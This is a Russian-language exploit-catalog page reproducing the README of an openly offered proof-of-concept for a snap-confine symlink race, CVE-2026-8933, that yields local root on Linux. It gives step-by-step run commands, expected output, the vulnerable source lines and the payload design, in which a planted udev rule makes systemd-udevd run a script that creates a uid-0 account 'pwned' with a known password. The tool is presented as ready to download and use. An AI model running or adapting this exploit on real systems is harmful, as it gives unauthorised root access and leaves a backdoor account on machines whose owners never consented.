Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8933 — Рабочий PoC для CVE-2026-8933: гонка символических ссылок в пространстве имён монтирования snap-confine, которая размещает принадлежащее root правило udev, что приводит к получению локальных прав root через systemd-udevd. | Kitploit
Инструменты/GitHubGitHub/songzzzz/cve-2026-8933
Повышение привилегийАнализ уязвимостейЭксплуатацияРазработка Полезной Нагрузки
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

Рабочий PoC для CVE-2026-8933: гонка символических ссылок в пространстве имён монтирования snap-confine, которая размещает принадлежащее root правило udev, что приводит к получению локальных прав root через systemd-udevd.

Репозиторий
220 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-8933 — гонка mount-namespace в snap-confine → локальный root-шелл

Рабочий PoC. Полное локальное повышение привилегий воспроизведено от начала до конца: от непривилегированного пользователя (uid 1000) до настоящего root-шелла с uid 0 — без пароля, без взаимодействия, без каких-либо предварительных привилегий.

Непривилегированный процесс заставляет snap-confine с set-capabilities записать udev-правило, принадлежащее root, в /run/udev/rules.d/ хоста; затем systemd-udevd выполняет полезную нагрузку PROGRAM= этого правила от имени root. Встроенная полезная нагрузка создаёт учётную запись с uid 0 и известным паролем, поэтому su - pwned (или ./_rootshell.py) выдаёт root-шелл.

Компонентsnap-confine → sc_replicate_base_rootfs() (исходный код snapd 2.73 в _msc_273.c; на тестируемом хосте работал snapd 2.76.3, и он всё ещё был уязвим)
КлассЛокальное повышение привилегий (гонка симлинков → создание произвольного файла, принадлежащего root, в /run/udev/** → выполнение кода от имени root)
РезультатШелл с uid=0(root) из непривилегированной учётной записи
Надёжность16 запусков: 7 успешны с первой попытки, остальные — со второй; никогда не более 2
Переносимостьне зависит от хоста: целевой snap, имя приложения, область cgroup, uid и путь к snap-confine определяются во время выполнения
Нужен rootнет (см. §9)

Содержание

TL;DR · 1. Быстрый старт · 2. Требования · 3. Что вы должны увидеть · 4. Ошибка · 5. Выигрыш гонок · 6. Полезная нагрузка · 7. Содержимое пакета · 8. Конфигурация · 9. Привилегии и очистка · 10. Влияние и исправление · Устранение неполадок · Ссылки · Отказ от ответственности

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

Ожидаемый вывод (сокращённо):

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

Драйвер выполняет очистку после себя (правило, полезная нагрузка, внедрённая учётная запись, временные каталоги и их точки монтирования). KEEP=1 сохраняет учётную запись, чтобы root-оболочку можно было использовать интерактивно в дальнейшем:

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. Быстрый старт

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts] собирает t18 + _ftrig, определяет цель, запускает эксплойт до успеха, активирует udevd, проверяет root-полезную нагрузку и выполняет очистку. 100% 12 — значение, использованное для всех измерений ниже; 0.3% 40 также работает (более жёсткая квота, больше попыток).

Перед тем как что-либо изменить, драйвер выводит автоматически определённую цель:

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. Требования

  • хост с systemd (запущенный user manager — эксплойт управляет cgroup.freeze в пользовательском scope),
  • уязвимый snap-confine, установленный с set-capabilities (cap_chown,cap_dac_override,cap_sys_admin,…) — не set-uid-root,
  • gcc + libfuse3 (pkg-config fuse3) для сборки t18 и _ftrig,
  • хотя бы один установленный snap, в каталоге /snap/<snap>/current которого на верхнем уровне находится обычный файл — именно эта запись DT_REG заставляет выполняться уязвимый open() (например, firefox, core22, …). Подойдёт любой такой snap; SNAP=<name> принудительно выбирает конкретный.

./t18 info выводит snap, app, base, unit, scope, confine и количество записей/обычных файлов обнаруженной цели, после чего завершается — быстрый способ проверить, уязвим ли хост с установленными в нём snap-пакетами.

3. Что вы должны увидеть

Признаки успешной попытки

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

Файл, созданный snap-confine с привилегиями root, на хосте:

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

а скрипт полезной нагрузки, на который он указывает (записан uid 1000, выполняется systemd-udevd от имени uid 0):

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine завершается сразу после этого на bind mount того же элемента, отклонённом AppArmor — на этом этапе файл уже создан и заполнен.

Root shell

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

Надёжность

16 запусков _t18poc.sh в рамках исследования и финальной универсальной сборки все завершились LPE (7 из них с первой попытки, остальные со второй); ни одному запуску не потребовалось более 2 попыток. Каждый запуск выполняет очистку после себя (правило, payload, созданная учётная запись, временные каталоги и их точки монтирования).

4. Уязвимость

snapd 2.73, sc_replicate_base_rootfs() (исходный код в _msc_273.c):

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
Скачать инструмент